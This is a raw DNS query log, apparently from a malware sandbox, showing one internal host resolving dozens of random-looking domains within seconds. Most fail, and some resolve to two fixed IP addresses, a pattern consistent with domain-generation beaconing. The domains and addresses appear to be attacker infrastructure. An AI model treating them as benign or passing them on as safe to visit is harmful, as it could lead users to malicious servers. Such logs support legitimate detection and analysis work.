Jan 5, 2025 10:51:14.703037977 CET	1.1.1.1	192.168.2.4	0x2b37	Name error (3)	lgabfmbedcmat.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.713022947 CET	1.1.1.1	192.168.2.4	0x4c2f	Name error (3)	lgabfmbedcmat.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.768276930 CET	1.1.1.1	192.168.2.4	0xe1db	Name error (3)	umqspueucw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.790414095 CET	1.1.1.1	192.168.2.4	0x6fc	Name error (3)	umqspueucw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.848352909 CET	1.1.1.1	192.168.2.4	0xa061	No error (0)	yiiqcjudu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.888647079 CET	1.1.1.1	192.168.2.4	0xef3	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.898933887 CET	1.1.1.1	192.168.2.4	0xf8e4	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.964464903 CET	1.1.1.1	192.168.2.4	0x3852	No error (0)	useay.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.981282949 CET	1.1.1.1	192.168.2.4	0x3767	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:14.992362976 CET	1.1.1.1	192.168.2.4	0xac81	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.058469057 CET	1.1.1.1	192.168.2.4	0x257f	No error (0)	ahgolamne.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.075426102 CET	1.1.1.1	192.168.2.4	0x6e7a	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.084899902 CET	1.1.1.1	192.168.2.4	0x6dd	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.141390085 CET	1.1.1.1	192.168.2.4	0x21b2	No error (0)	skxtiwv.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.160276890 CET	1.1.1.1	192.168.2.4	0xfa93	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.168730021 CET	1.1.1.1	192.168.2.4	0x6f5e	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.490545988 CET	1.1.1.1	192.168.2.4	0xa3b6	Name error (3)	kqlcwdpuso.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.538775921 CET	1.1.1.1	192.168.2.4	0x870a	Name error (3)	kqlcwdpuso.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.611975908 CET	1.1.1.1	192.168.2.4	0x752e	No error (0)	defbu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.632592916 CET	1.1.1.1	192.168.2.4	0x16da	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.645440102 CET	1.1.1.1	192.168.2.4	0xcd56	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.716159105 CET	1.1.1.1	192.168.2.4	0x459d	Name error (3)	tymcrs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.740183115 CET	1.1.1.1	192.168.2.4	0xfd47	Name error (3)	tymcrs.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.798540115 CET	1.1.1.1	192.168.2.4	0x4a68	Name error (3)	sqsooyqhc.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.809137106 CET	1.1.1.1	192.168.2.4	0xbf66	Name error (3)	sqsooyqhc.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.878778934 CET	1.1.1.1	192.168.2.4	0xc80a	Name error (3)	uwygasicj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.899905920 CET	1.1.1.1	192.168.2.4	0xc110	Name error (3)	uwygasicj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.954411983 CET	1.1.1.1	192.168.2.4	0x6a39	Name error (3)	ooimawkmugi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:15.972734928 CET	1.1.1.1	192.168.2.4	0xc7e4	Name error (3)	ooimawkmugi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.041284084 CET	1.1.1.1	192.168.2.4	0xef2	No error (0)	mhmilgewoomwe.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.058078051 CET	1.1.1.1	192.168.2.4	0x8099	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.067428112 CET	1.1.1.1	192.168.2.4	0x45e8	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.136245012 CET	1.1.1.1	192.168.2.4	0xafc0	No error (0)	mwcscawmtgknk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.218069077 CET	1.1.1.1	192.168.2.4	0xca54	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.275125027 CET	1.1.1.1	192.168.2.4	0xf4db	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.395559072 CET	1.1.1.1	192.168.2.4	0x13b6	Name error (3)	gyruzeynroqo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.408816099 CET	1.1.1.1	192.168.2.4	0x19bd	Name error (3)	gyruzeynroqo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.517976046 CET	1.1.1.1	192.168.2.4	0x5f20	Name error (3)	kkycrsduhwiox.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.579519033 CET	1.1.1.1	192.168.2.4	0x3489	Name error (3)	kkycrsduhwiox.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.656961918 CET	1.1.1.1	192.168.2.4	0x5ef7	Name error (3)	wwofeoi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.669203997 CET	1.1.1.1	192.168.2.4	0xdae9	Name error (3)	wwofeoi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.735363007 CET	1.1.1.1	192.168.2.4	0xe9a0	Name error (3)	wkbiscm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.776704073 CET	1.1.1.1	192.168.2.4	0xc8b2	Name error (3)	wkbiscm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.829354048 CET	1.1.1.1	192.168.2.4	0x9a26	Name error (3)	zxzcgj.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.861166954 CET	1.1.1.1	192.168.2.4	0xabe6	Name error (3)	zxzcgj.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:16.923342943 CET	1.1.1.1	192.168.2.4	0x8080	No error (0)	qncmreciv.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.098262072 CET	1.1.1.1	192.168.2.4	0x96f9	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.227616072 CET	1.1.1.1	192.168.2.4	0xc92b	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.339543104 CET	1.1.1.1	192.168.2.4	0xf3e	Name error (3)	gpoigqg.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.367676020 CET	1.1.1.1	192.168.2.4	0x26bc	Name error (3)	gpoigqg.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.457962036 CET	1.1.1.1	192.168.2.4	0x9b7b	No error (0)	tdeimvcykioj.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.539448023 CET	1.1.1.1	192.168.2.4	0x77b6	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.548506021 CET	1.1.1.1	192.168.2.4	0xdbc5	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.620311975 CET	1.1.1.1	192.168.2.4	0xaa91	No error (0)	ovrmtcuedgae.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.687077999 CET	1.1.1.1	192.168.2.4	0x3d36	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.730866909 CET	1.1.1.1	192.168.2.4	0x4283	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.792722940 CET	1.1.1.1	192.168.2.4	0x81c7	No error (0)	sgockdamcqbym.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.862900972 CET	1.1.1.1	192.168.2.4	0x7f01	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.880184889 CET	1.1.1.1	192.168.2.4	0x6033	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.939219952 CET	1.1.1.1	192.168.2.4	0x2bbf	Name error (3)	enokudiliwi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:17.972212076 CET	1.1.1.1	192.168.2.4	0x5b6c	Name error (3)	enokudiliwi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.042896986 CET	1.1.1.1	192.168.2.4	0x5dc2	No error (0)	iskhcigwkvdpoz.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.106327057 CET	1.1.1.1	192.168.2.4	0xe516	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.132781029 CET	1.1.1.1	192.168.2.4	0x3277	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.452687979 CET	1.1.1.1	192.168.2.4	0x7c08	Name error (3)	duxgekeesugx.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:18.647171974 CET	1.1.1.1	192.168.2.4	0x4b96	Name error (3)	duxgekeesugx.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.065366030 CET	1.1.1.1	192.168.2.4	0xf6f9	Name error (3)	tpspkdy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.196185112 CET	1.1.1.1	192.168.2.4	0x9bf1	Name error (3)	tpspkdy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.282491922 CET	1.1.1.1	192.168.2.4	0x499e	Name error (3)	xpezimjctbzmo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.345355988 CET	1.1.1.1	192.168.2.4	0xe3f0	Name error (3)	xpezimjctbzmo.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.681263924 CET	1.1.1.1	192.168.2.4	0xf189	Name error (3)	cwolcmj.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:19.998195887 CET	1.1.1.1	192.168.2.4	0x712c	Name error (3)	cwolcmj.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:20.093781948 CET	1.1.1.1	192.168.2.4	0xf1ba	Name error (3)	cgaaw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:20.130547047 CET	1.1.1.1	192.168.2.4	0x8a93	Name error (3)	cgaaw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.128395081 CET	1.1.1.1	192.168.2.4	0x7eb0	Name error (3)	uuwgyseoojlsin.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.153386116 CET	1.1.1.1	192.168.2.4	0xace9	Name error (3)	uuwgyseoojlsin.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.314362049 CET	1.1.1.1	192.168.2.4	0xc912	Name error (3)	mkuegbwheeqrkp.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.473269939 CET	1.1.1.1	192.168.2.4	0x9de0	Name error (3)	mkuegbwheeqrkp.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.532898903 CET	1.1.1.1	192.168.2.4	0x8d54	Name error (3)	wwmomgmzcuogux.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.565988064 CET	1.1.1.1	192.168.2.4	0x9d55	Name error (3)	wwmomgmzcuogux.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.636126995 CET	1.1.1.1	192.168.2.4	0x4e30	No error (0)	mvrooosmgqanq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.842547894 CET	1.1.1.1	192.168.2.4	0xe93c	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.890527010 CET	1.1.1.1	192.168.2.4	0xfad7	Name error (3)	isfusus-omoab.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:21.969100952 CET	1.1.1.1	192.168.2.4	0xdbcf	Name error (3)	wqfmmmssa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.140125036 CET	1.1.1.1	192.168.2.4	0x396a	Name error (3)	wqfmmmssa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.213097095 CET	1.1.1.1	192.168.2.4	0x5968	No error (0)	sgykkmj.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.265782118 CET	1.1.1.1	192.168.2.4	0x31f	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.312380075 CET	1.1.1.1	192.168.2.4	0x66a6	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.679775000 CET	1.1.1.1	192.168.2.4	0x2b3	Name error (3)	usswcreekiq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.845155954 CET	1.1.1.1	192.168.2.4	0x8971	Name error (3)	usswcreekiq.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.926680088 CET	1.1.1.1	192.168.2.4	0x100a	Name error (3)	gketc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:22.942325115 CET	1.1.1.1	192.168.2.4	0x1886	Name error (3)	gketc.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.000571012 CET	1.1.1.1	192.168.2.4	0x7b39	Name error (3)	qkxiogyhafi.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.041652918 CET	1.1.1.1	192.168.2.4	0x5e9a	Name error (3)	qkxiogyhafi.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.114594936 CET	1.1.1.1	192.168.2.4	0x3c9b	Name error (3)	oqqhbcoxcyqsw.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.191437960 CET	1.1.1.1	192.168.2.4	0xb4fb	Name error (3)	oqqhbcoxcyqsw.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.251548052 CET	1.1.1.1	192.168.2.4	0xc76c	Name error (3)	kvaqewnz.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.296583891 CET	1.1.1.1	192.168.2.4	0xe89f	Name error (3)	kvaqewnz.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.361253977 CET	1.1.1.1	192.168.2.4	0x2ed4	Name error (3)	ywwoclaovqnywn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.400460005 CET	1.1.1.1	192.168.2.4	0xba5a	Name error (3)	ywwoclaovqnywn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.495563984 CET	1.1.1.1	192.168.2.4	0x5619	Name error (3)	fnmpk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.584180117 CET	1.1.1.1	192.168.2.4	0x58c7	Name error (3)	fnmpk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.666920900 CET	1.1.1.1	192.168.2.4	0x4593	Name error (3)	qmqhowr.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.710437059 CET	1.1.1.1	192.168.2.4	0xd7d7	Name error (3)	qmqhowr.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.782270908 CET	1.1.1.1	192.168.2.4	0x2957	Name error (3)	ietwickcse.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.858037949 CET	1.1.1.1	192.168.2.4	0x7daf	Name error (3)	ietwickcse.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:23.917498112 CET	1.1.1.1	192.168.2.4	0x160c	No error (0)	uufmo.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.053397894 CET	1.1.1.1	192.168.2.4	0xf08	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.064594030 CET	1.1.1.1	192.168.2.4	0x83c5	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.200699091 CET	1.1.1.1	192.168.2.4	0x1a93	Name error (3)	urwweldkbjesn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.221612930 CET	1.1.1.1	192.168.2.4	0xc3ec	Name error (3)	urwweldkbjesn.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.340437889 CET	1.1.1.1	192.168.2.4	0x99a8	No error (0)	kscqiwevyqu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.395657063 CET	1.1.1.1	192.168.2.4	0x71c2	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.410201073 CET	1.1.1.1	192.168.2.4	0xa941	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.518923044 CET	1.1.1.1	192.168.2.4	0xb25a	Name error (3)	esuwhvskmxn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.535793066 CET	1.1.1.1	192.168.2.4	0x2a17	Name error (3)	esuwhvskmxn.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.595268011 CET	1.1.1.1	192.168.2.4	0x7e62	Name error (3)	vukuc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.635345936 CET	1.1.1.1	192.168.2.4	0x874e	Name error (3)	vukuc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:24.975435019 CET	1.1.1.1	192.168.2.4	0xb21d	Name error (3)	zugzq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.041094065 CET	1.1.1.1	192.168.2.4	0x2b53	Name error (3)	zugzq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.201024055 CET	1.1.1.1	192.168.2.4	0x4465	Name error (3)	fmslnmq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.288928032 CET	1.1.1.1	192.168.2.4	0xa38e	Name error (3)	fmslnmq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.495915890 CET	1.1.1.1	192.168.2.4	0x7a68	Name error (3)	aawwbcseutmfcl.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.913978100 CET	1.1.1.1	192.168.2.4	0xbf7b	Name error (3)	aawwbcseutmfcl.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:25.995630026 CET	1.1.1.1	192.168.2.4	0x650b	Name error (3)	hezceuiftke.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.255486012 CET	1.1.1.1	192.168.2.4	0xbaf6	Name error (3)	hezceuiftke.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.315167904 CET	1.1.1.1	192.168.2.4	0xd7a4	Name error (3)	ocqyuj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.329400063 CET	1.1.1.1	192.168.2.4	0x611e	Name error (3)	ocqyuj.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.640254021 CET	1.1.1.1	192.168.2.4	0x2046	Name error (3)	nqwrhwh.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.736485004 CET	1.1.1.1	192.168.2.4	0x3ff3	Name error (3)	nqwrhwh.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.807075977 CET	1.1.1.1	192.168.2.4	0x2aef	Name error (3)	ekvubzmcz.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:26.820885897 CET	1.1.1.1	192.168.2.4	0xdf1c	Name error (3)	ekvubzmcz.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.182354927 CET	1.1.1.1	192.168.2.4	0x664	Name error (3)	euzadykwdbg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.232172966 CET	1.1.1.1	192.168.2.4	0xfb7e	Name error (3)	euzadykwdbg.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.314279079 CET	1.1.1.1	192.168.2.4	0x9786	Name error (3)	xgswoeoxdde.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.329590082 CET	1.1.1.1	192.168.2.4	0x9ac3	Name error (3)	xgswoeoxdde.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.406054020 CET	1.1.1.1	192.168.2.4	0xbd0c	Name error (3)	lboecwnxy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.430668116 CET	1.1.1.1	192.168.2.4	0xfe06	Name error (3)	lboecwnxy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.533273935 CET	1.1.1.1	192.168.2.4	0x7b32	No error (0)	mqhsureufjf.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.561307907 CET	1.1.1.1	192.168.2.4	0x91bf	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.574456930 CET	1.1.1.1	192.168.2.4	0xc7bf	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.301475048 CET	1.1.1.1	192.168.2.4	0xf64a	Name error (3)	wxoqukaoenpp.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.400474072 CET	1.1.1.1	192.168.2.4	0x882e	Name error (3)	wxoqukaoenpp.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.455482006 CET	1.1.1.1	192.168.2.4	0x2706	No error (0)	hcwuaqmw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.492836952 CET	1.1.1.1	192.168.2.4	0x7d23	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.504208088 CET	1.1.1.1	192.168.2.4	0x84d5	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.600380898 CET	1.1.1.1	192.168.2.4	0xd282	Name error (3)	keyoieyaauo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.661062002 CET	1.1.1.1	192.168.2.4	0x138d	Name error (3)	keyoieyaauo.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.722789049 CET	1.1.1.1	192.168.2.4	0x5921	No error (0)	opszeqbfeah.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.760205984 CET	1.1.1.1	192.168.2.4	0xe3b2	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.773292065 CET	1.1.1.1	192.168.2.4	0xca6	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.828996897 CET	1.1.1.1	192.168.2.4	0xe3c5	Name error (3)	xaprduf.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.891525984 CET	1.1.1.1	192.168.2.4	0x7a60	Name error (3)	xaprduf.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.947684050 CET	1.1.1.1	192.168.2.4	0xebae	Name error (3)	oivgkqkubfq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.959431887 CET	1.1.1.1	192.168.2.4	0x59c1	Name error (3)	oivgkqkubfq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:29.024696112 CET	1.1.1.1	192.168.2.4	0x4927	Name error (3)	yhhsuyuy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:29.074496031 CET	1.1.1.1	192.168.2.4	0xab40	Name error (3)	yhhsuyuy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.643712997 CET	1.1.1.1	192.168.2.4	0x1a76	Name error (3)	yqufyzcii.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.643732071 CET	1.1.1.1	192.168.2.4	0x1a76	Name error (3)	yqufyzcii.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.767715931 CET	1.1.1.1	192.168.2.4	0x89d1	Name error (3)	yqufyzcii.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.823646069 CET	1.1.1.1	192.168.2.4	0x2da9	No error (0)	aokmmn.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.868525028 CET	1.1.1.1	192.168.2.4	0x61df	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.879661083 CET	1.1.1.1	192.168.2.4	0xdbe3	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.949244022 CET	1.1.1.1	192.168.2.4	0xcfb	No error (0)	gynpqeeyvwhe.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.046823978 CET	1.1.1.1	192.168.2.4	0x755	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.057188988 CET	1.1.1.1	192.168.2.4	0xdf3f	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.282418966 CET	1.1.1.1	192.168.2.4	0x5c1c	Name error (3)	ioxiokj.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.380296946 CET	1.1.1.1	192.168.2.4	0x5c8	Name error (3)	ioxiokj.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.728071928 CET	1.1.1.1	192.168.2.4	0x8d8	Name error (3)	ymvkkukyb.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.920072079 CET	1.1.1.1	192.168.2.4	0x7ed2	Name error (3)	ymvkkukyb.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.003135920 CET	1.1.1.1	192.168.2.4	0xe51d	Name error (3)	bcoig.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.051035881 CET	1.1.1.1	192.168.2.4	0x630f	Name error (3)	bcoig.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.113535881 CET	1.1.1.1	192.168.2.4	0xfd55	Name error (3)	uyefukympeo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.138679981 CET	1.1.1.1	192.168.2.4	0xc61	Name error (3)	uyefukympeo.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.188685894 CET	1.1.1.1	192.168.2.4	0xe008	Name error (3)	mgamx.nu	none	none	A (IP address)	IN (0x0001)	false
